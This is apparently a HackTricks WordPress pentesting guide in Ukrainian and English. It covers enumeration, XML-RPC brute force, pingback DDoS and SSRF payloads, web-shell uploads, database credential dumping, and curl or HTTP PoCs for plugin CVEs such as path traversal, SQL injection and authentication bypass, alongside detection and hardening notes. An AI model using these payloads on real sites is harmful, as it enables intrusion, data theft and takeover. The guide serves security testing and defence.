Wordpress
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, тож якщо ви зміните якийсь php файлу теми щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи theme twentytwelve ви можете access the 404.php file в: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php ви можете знайти root пароль до бази даних.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Основні файли WordPress
index.phplicense.txtмістить корисну інформацію, таку як встановлена версія WordPress.wp-activate.phpвикористовується для процесу активації через email при налаштуванні нового сайту WordPress.- Login folders (may be renamed to hide it):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.php— файл, який реалізує функцію WordPress для передачі даних з HTTP як транспортним механізмом та XML як механізмом кодування. Такий тип комунікації був замінений WordPress REST API.- Папка
wp-content— основний каталог, де зберігаються плагіни та themes. wp-content/uploads/— директорія, куди зберігаються будь-які файли, завантажені на платформу.wp-includes/— директорія, де зберігаються core файли, такі як сертифікати, шрифти, JavaScript файли та віджети.wp-sitemap.xmlУ Wordpress версіях 5.5 і вище, Worpress генерує файл sitemap XML з усіма публічними постами та публічно доступними типами записів і таксономіями.
Post exploitation
- Файл
wp-config.phpмістить інформацію, необхідну WordPress для підключення до бази даних, таку як ім’я бази даних, хост бази даних, ім’я користувача та пароль, authentication keys and salts, і префікс таблиць бази даних. Цей конфігураційний файл також може бути використаний для активації DEBUG режиму, що може бути корисним при налагодженні.
Права користувачів
- Administrator
- Editor: Публікує та керує своїми і чужими записами
- Author: Публікує та керує своїми записами
- Contributor: Пише та керує своїми записами, але не може їх публікувати
- Subscriber: Переглядає пости та редагує свій профіль
Пасивна розвідка
Отримати версію WordPress
Перевірте, чи можна знайти файли /license.txt або /readme.html
В середині source code сторінки (приклад з https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Файли CSS (link)
.png)
- Файли JavaScript
.png)
Отримати плагіни
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Отримання тем
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Витяг версій загалом
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Активна енумерація
Плагіни та теми
Ймовірно, ви не зможете знайти всі можливі плагіни та теми. Щоб виявити всі, вам потрібно активно Brute Force список плагінів і тем (сподіваємось, для нас існують автоматизовані інструменти, які містять ці списки).
Користувачі
- ID Brute: Ви отримуєте валідних користувачів з WordPress сайту шляхом Brute Forcing ID користувачів:
curl -s -I -X GET http://blog.example.com/?author=1
Якщо відповіді — 200 або 30X, це означає, що id — дійсний. Якщо відповідь — 400, то id — недійсний.
- wp-json: Ви також можете спробувати отримати інформацію про користувачів, виконавши запит:
curl http://blog.example.com/wp-json/wp/v2/users
Ще один endpoint /wp-json/, який може розкрити деяку інформацію про користувачів, це:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.
Also note that /wp-json/wp/v2/pages може leak IP-адреси.
- Login username enumeration: При вході в
/wp-login.phpповідомлення є різним і вказує, чи ім’я користувача існує чи ні.
XML-RPC
Якщо xml-rpc.php активний, ви можете виконати credentials brute-force або використати його для запуску DoS-атак на інші ресурси. (You can automate this process using this for example).
Щоб перевірити, чи він активний, спробуйте звернутися до /xmlrpc.php і відправити цей запит:
Перевірка
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs — це деякі методи, які можуть бути використані для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Повідомлення “Incorrect username or password” у відповіді з кодом 200 має з’являтися, якщо облікові дані недійсні.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з’явиться шлях (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Також є швидший спосіб виконати brute-force credentials, використовуючи system.multicall, оскільки можна спробувати кілька creds в одному запиті:
.png)
Bypass 2FA
Цей метод призначений для програм, а не для людей, і є застарілим, тому він не підтримує 2FA. Отже, якщо у вас є дійсні creds, але основний вхід захищений 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими creds, минаючи 2FA. Зауважте, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете дістатися до RCE, як пояснює Ippsec у https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Якщо ви знайдете метод pingback.ping у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.
Це можна використати, щоб змусити тисячі Wordpress сайтів одночасно звернутися до однієї локації (тому там спричиниться DDoS), або ви можете використати це, щоб змусити Wordpress сканувати внутрішню мережу (ви можете вказати будь-який порт).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримуєте faultCode зі значенням більше, ніж 0 (17), це означає, що порт відкритий.
Перегляньте використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Цей файл зазвичай знаходиться в корені сайту Wordpress: /wp-cron.php
Коли до цього файлу доступаються, виконується «важкий» MySQL запит, тому він може використовуватися зловмисниками для спричинення DoS.
Також, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах із великим трафіком може викликати проблеми (DoS).
Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії з регулярним інтервалом (без спричинення проблем).
/wp-json/oembed/1.0/proxy - SSRF
Спробуйте звернутися до https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net — і сайт Wordpress може виконати запит до вас.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Цей інструмент перевіряє, чи існує methodName: pingback.ping та шлях /wp-json/oembed/1.0/proxy, і якщо так, намагається exploit їх.
Автоматичні інструменти
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Отримання доступу шляхом перезапису біта
Це радше курйоз, ніж реальна атака. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man можна було інвертувати 1 біт у будь-якому wordpress файлі. Тобто можна було інвертувати біт у позиції 5389 файлу /var/www/html/wp-includes/user.php, щоб замінити операцію NOT (!) на NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Панель RCE
Зміна php-файлу у використовуваній темі (потрібні облікові дані адміністратора)
Appearance → Theme Editor → 404 Template (праворуч)
Замініть вміст на php shell:
.png)
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Можна використати:
use exploit/unix/webapp/wp_admin_shell_upload
щоб отримати сесію.
Plugin RCE
PHP plugin
Можливо завантажити файли .php як плагін.
Створіть свій PHP backdoor, наприклад:
.png)
Потім додайте новий плагін:
.png)
Upload plugin and press Install Now:
.png)
Click on Procced:
.png)
Ймовірно, це, здається, нічого не зробить, але якщо перейти в Media, ви побачите ваш shell завантаженим:
.png)
Відкрийте його, і ви побачите URL для виконання reverse shell:
.png)
Завантаження та активація шкідливого плагіна
Цей метод передбачає встановлення відомого вразливого шкідливого плагіна, який можна експлуатувати для отримання web shell. Процес виконується через WordPress dashboard наступним чином:
- Отримання плагіна: Плагін отримується з джерела, наприклад Exploit DB як here.
- Встановлення плагіна:
- Перейдіть у WordPress dashboard, потім в
Dashboard > Plugins > Upload Plugin. - Upload the zip file of the downloaded plugin.
- Активація плагіна: Після успішного встановлення плагін потрібно активувати через dashboard.
- Експлуатація:
- Якщо інсталювати і активувати плагін “reflex-gallery”, його можна експлуатувати, оскільки він відомий як вразливий.
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши певні команди, можна отримати meterpreter session, що надає несанкціонований доступ до сайту.
- Зауважте, що це лише один з багатьох методів експлуатації WordPress сайту.
Контент містить ілюстрації, що показують кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в правовому контексті, наприклад під час penetration testing з явною згодою.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other’s criticals vulnerabilities in WordPress. For more info check this post. Він підтримує версії WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:
- Privilege Escalation: Створює користувача у WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Завантажте свій custom plugin (backdoor) у WordPress.
- (RCE) Built-In Plugin Edit: Редагує вбудовані плагіни у WordPress.
- (RCE) Built-In Theme Edit: Редагує вбудовані теми у WordPress.
- (Custom) Custom Exploits: Користувацькі експлойти для сторонніх плагінів/тем WordPress.
Post Exploitation
Витягнути імена користувачів та паролі:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Змінити пароль адміністратора:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Поверхня атаки
Розуміння того, як Wordpress плагін може відкривати функціональність, є ключовим для пошуку вразливостей у його реалізації. Ви можете дізнатися, як плагін може експонувати функціональність, у наступних пунктах, а також побачити приклади вразливих плагінів у this blog post.
wp_ajax
Один зі способів, яким плагін може надавати свої функції користувачам, — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більш того, досить часто ці функції базують і authentication, і authorization на наявності wordpress nonce, який будь-який аутентифікований користувач в інстанції Wordpress може мати (незалежно від його ролі).
Нижче перераховано функції, які можуть бути використані для експонування функціональності плагіна:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Використання nopriv робить endpoint доступним для будь-яких користувачів (навіть неаутентифікованих).
Caution
Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції
wp_verify_nonce, ця функція лише перевіряє, що користувач увійшов у систему, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- REST API
Також можливо зробити доступними функції з wordpress, зареєструвавши REST API за допомогою функції register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback — це callback-функція, яка перевіряє, чи має певний користувач право викликати метод API.
Якщо використовується вбудована функція __return_true, вона просто пропустить перевірку прав користувача.
- Прямий доступ до php-файлу
Звісно, Wordpress використовує PHP, і файли всередині плагінів напряму доступні з вебу. Тому, якщо плагін відкриває будь-яку вразливу функціональність, яка запускається просто при доступі до файлу, її можуть експлуатувати будь-які користувачі.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Деякі плагіни реалізують «trusted header» shortcuts для internal integrations або reverse proxies і використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не криптографічно пов’язаний із запитом на стороні upstream component, атакуючий може підробити його і звертатись до привілейованих REST-маршрутів як адміністратор.
- Impact: неавторизоване privilege escalation до admin шляхом створення нового адміністратора через core users REST route.
- Приклад заголовка:
X-Wcpay-Platform-Checkout-User: 1(forces user ID 1, зазвичай перший обліковий запис адміністратора). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Чому це працює
- Плагін зіставляє клієнт-контрольований header зі станом аутентифікації та пропускає capability checks.
- WordPress core очікує
create_userscapability для цього маршруту; плагін обходить це, безпосередньо встановлюючи контекст поточного користувача з header.
Очікувані ознаки успіху
- HTTP 201 з JSON-тілом, що описує створеного користувача.
- Новий admin-користувач, видимий у
wp-admin/users.php.
Перелік перевірок для виявлення
- Виконайте grep для
getallheaders(),$_SERVER['HTTP_...']або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад,wp_set_current_user(),wp_set_auth_cookie()). - Перегляньте реєстрації REST на предмет привілейованих callback-ів, що не мають надійних перевірок
permission_callbackі натомість покладаються на заголовки запиту. - Шукайте використання core-функцій управління користувачами (
wp_insert_user,wp_create_user) всередині REST-обробників, які захищені лише значеннями header.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- capability check (наприклад
current_user_can()або хоча бis_user_logged_in()), та - CSRF nonce, валідований за допомогою
check_ajax_referer()/wp_verify_nonce(), та - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Проблеми, внесені цим фрагментом:
- Неавторизований доступ – зареєстровано хук
wp_ajax_nopriv_. - Відсутня перевірка nonce / capability – будь-який відвідувач може звернутися до endpoint.
- Відсутня санітизація шляху – рядок, контрольований користувачем
fontfamily, конкатенується з файловим шляхом без фільтрації, що дозволяє класичний../../traversal.
Експлуатація
Зловмисник може видалити будь-який файл або каталог нижче базового каталогу uploads (зазвичай <wp-root>/wp-content/uploads/) шляхом відправки одного HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Оскільки wp-config.php знаходиться поза директорією uploads, чотирьох послідовностей ../ достатньо для стандартної інсталяції. Видалення wp-config.php змушує WordPress при наступному відвідуванні увійти в майстер встановлення, що дозволяє повне захоплення сайту (атакуючий просто надає нову DB конфігурацію і створює адміністратора).
Інші важливі цілі включають .php файли плагінів/тем (щоб зламати плагіни безпеки) або правила .htaccess.
Detection checklist
- Будь-який callback
add_action( 'wp_ajax_nopriv_...'), який викликає файлові хелпери (copy(),unlink(),$wp_filesystem->delete(), тощо). - Конкатенація несфільтрованого введення від користувача в шляхи (шукайте
$_POST,$_GET,$_REQUEST). - Відсутність
check_ajax_referer()таcurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
Багато плагінів реалізують функцію “view as role” або тимчасової зміни ролі, зберігаючи оригінальні роль(і) в user meta, щоб потім їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, $_REQUEST['reset-for']) і список, яким керує плагін, без перевірки capabilities та валідного nonce, це перетворюється на вертикальне підвищення привілеїв.
Реальний приклад було знайдено в плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі reset-for=<username>, якщо ім’я користувача з’являлося у внутрішньому масиві $options['viewing_admin_as_role_are'], але не виконувала перевірку current_user_can() і не перевіряла nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Чому це можна експлуатувати
- Довіряє
$_REQUEST['reset-for']та опції плагіна без серверної авторизації. - Якщо користувач раніше мав вищі привілеї, збережені в
_asenha_view_admin_as_original_roles, і був понижений, він може відновити їх, звернувшись до шляху скидання. - У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в
viewing_admin_as_role_are(порушена авторизація).
Експлуатація (приклад)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, administrator), фактично підвищуючи привілеї.
Detection checklist
- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в user meta (наприклад,
_asenha_view_admin_as_original_roles). - Визначте шляхи скидання/відновлення, які:
- Читати імена користувачів з
$_REQUEST/$_GET/$_POST. - Модифікувати ролі через
add_role()/remove_role()безcurrent_user_can()таwp_verify_nonce()/check_admin_referer(). - Авторизовувати на основі масиву опцій плагіна (наприклад,
viewing_admin_as_role_are) замість перевірки можливостей актора.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Деякі плагіни підключають хелпери перемикання користувача до публічного хука init і визначають ідентичність з cookie, яким керує клієнт. Якщо код викликає wp_set_auth_cookie() без перевірки автентифікації, можливостей та дійсного nonce, будь‑який неаутентифікований відвідувач може примусово залогінитись як довільний user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Чому це можна експлуатувати
- Публічний
inithook робить обробник доступним для неавторизованих користувачів (відсутня перевіркаis_user_logged_in()). - Ідентичність визначається cookie, яку може змінити клієнт (
original_user_id). - Прямий виклик
wp_set_auth_cookie($uid)авторизує запитувача як цього користувача без перевірок capability/nonce.
Експлуатація (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Офенсивні нотатки
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Захисні нотатки
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
Захист WordPress
Регулярні оновлення
Переконайтеся, що WordPress, plugins, and themes are up to date. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Також, встановлюйте лише надійні WordPress плагіни та теми.
Плагіни безпеки
Інші рекомендації
- Видаліть стандартного користувача admin
- Використовуйте надійні паролі і 2FA
- Періодично переглядайте дозволи користувачів
- Обмежте кількість спроб входу, щоб запобігти Brute Force атакам
- Перейменуйте файл
wp-admin.phpта дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Плагін WP Job Portal для рекрутингу відкривав задачу savecategory, яка зрештою виконує наступний вразливий код у modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Проблеми, внесені цим фрагментом:
- Неналежно очищений користувацький ввід –
parentidнадходить безпосередньо з HTTP-запиту. - Конкатенація рядків у WHERE-клаузі – відсутні
is_numeric()/esc_sql()/ prepared statement. - Доступ без автентифікації – хоча дія виконується через
admin-post.php, єдина перевірка — CSRF nonce (wp_verify_nonce()), яку будь-який відвідувач може отримати зі сторінки, що містить шорткод[wpjobportal_my_resumes].
Експлуатація
- Отримайте свіжий nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Інжектувати довільний SQL, зловживаючи
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Ще одне завдання, downloadcustomfile, дозволяло відвідувачам завантажувати будь-який файл на диску через path traversal. Вразливий sink знаходиться в modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name є attacker-controlled і конкатенується без санітизації. Знову, єдиним бар’єром є CSRF nonce, який можна отримати зі сторінки резюме.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Сервер повертає вміст wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Багато тем/плагінів постачають “social login” допоміжні скрипти, доступні через admin-ajax.php. Якщо неавтентифікована AJAX-дія (wp_ajax_nopriv_…) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це перетворюється на повний обхід автентифікації.
Типовий вразливий шаблон (спрощено)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Чому це можна експлуатувати
- Доступ без автентифікації через admin-ajax.php (дія wp_ajax_nopriv_…).
- Відсутня перевірка nonce/capability перед зміною стану.
- Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає вхідні дані від атакувальника.
- get_user_by(‘email’, $_POST[‘id’]) у поєднанні з wp_set_auth_cookie($uid) автентифікує запитувача як будь-якого користувача з існуючою електронною адресою.
Експлуатація (без автентифікації)
- Передумови: атакувальник має доступ до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
- Встановіть provider у непідтримуване значення (або не вказуйте його), щоб потрапити в гілку за замовчуванням і передайте id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Очікувані індикатори успіху
- HTTP 200 із JSON тілом, наприклад {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* для користувача-жертви; наступні запити будуть аутентифіковані.
Визначення імені action
- Перевірте тему/плагін на наявність реєстрацій add_action(‘wp_ajax_nopriv_…’, ‘…’) у коді social login (наприклад, framework/add-ons/social-login/class-social-login.php).
- Виконайте grep для wp_set_auth_cookie(), get_user_by(‘email’, …) у AJAX-хендлерах.
Контрольний список для виявлення
- Веб-логи, що показують неаутентифіковані POSTи до /wp-admin/admin-ajax.php з action social-login і id=
. - Відповіді 200 із success JSON безпосередньо перед аутентифікованим трафіком з тієї ж IP/User-Agent.
Підсилення безпеки
- Не виводьте ідентичність із вхідних даних клієнта. Приймайте лише email/ID, що походять від підтвердженого provider token/ID.
- Вимагайте CSRF nonces та перевірки capability навіть для допоміжних механізмів логіну; уникайте реєстрації wp_ajax_nopriv_, якщо це не абсолютно необхідно.
- Валідируйте та перевіряйте відповіді OAuth/OIDC на стороні сервера; відкидайте відсутніх/некоректних providers (без fallback до POST id).
- Розгляньте тимчасове відключення social login або віртуальне патчення на edge (заблокувати вразливу дію) до виправлення.
Виправлена поведінка (Jobmonster 4.8.0)
- Видалено небезпечний fallback із $_POST[‘id’]; $user_email має походити з перевірених гілок provider у switch($_POST[‘using’]).
Ескалація привілеїв без автентифікації через створення REST token/key для передбачуваної ідентичності (OttoKit/SureTriggers ≤ 1.0.82)
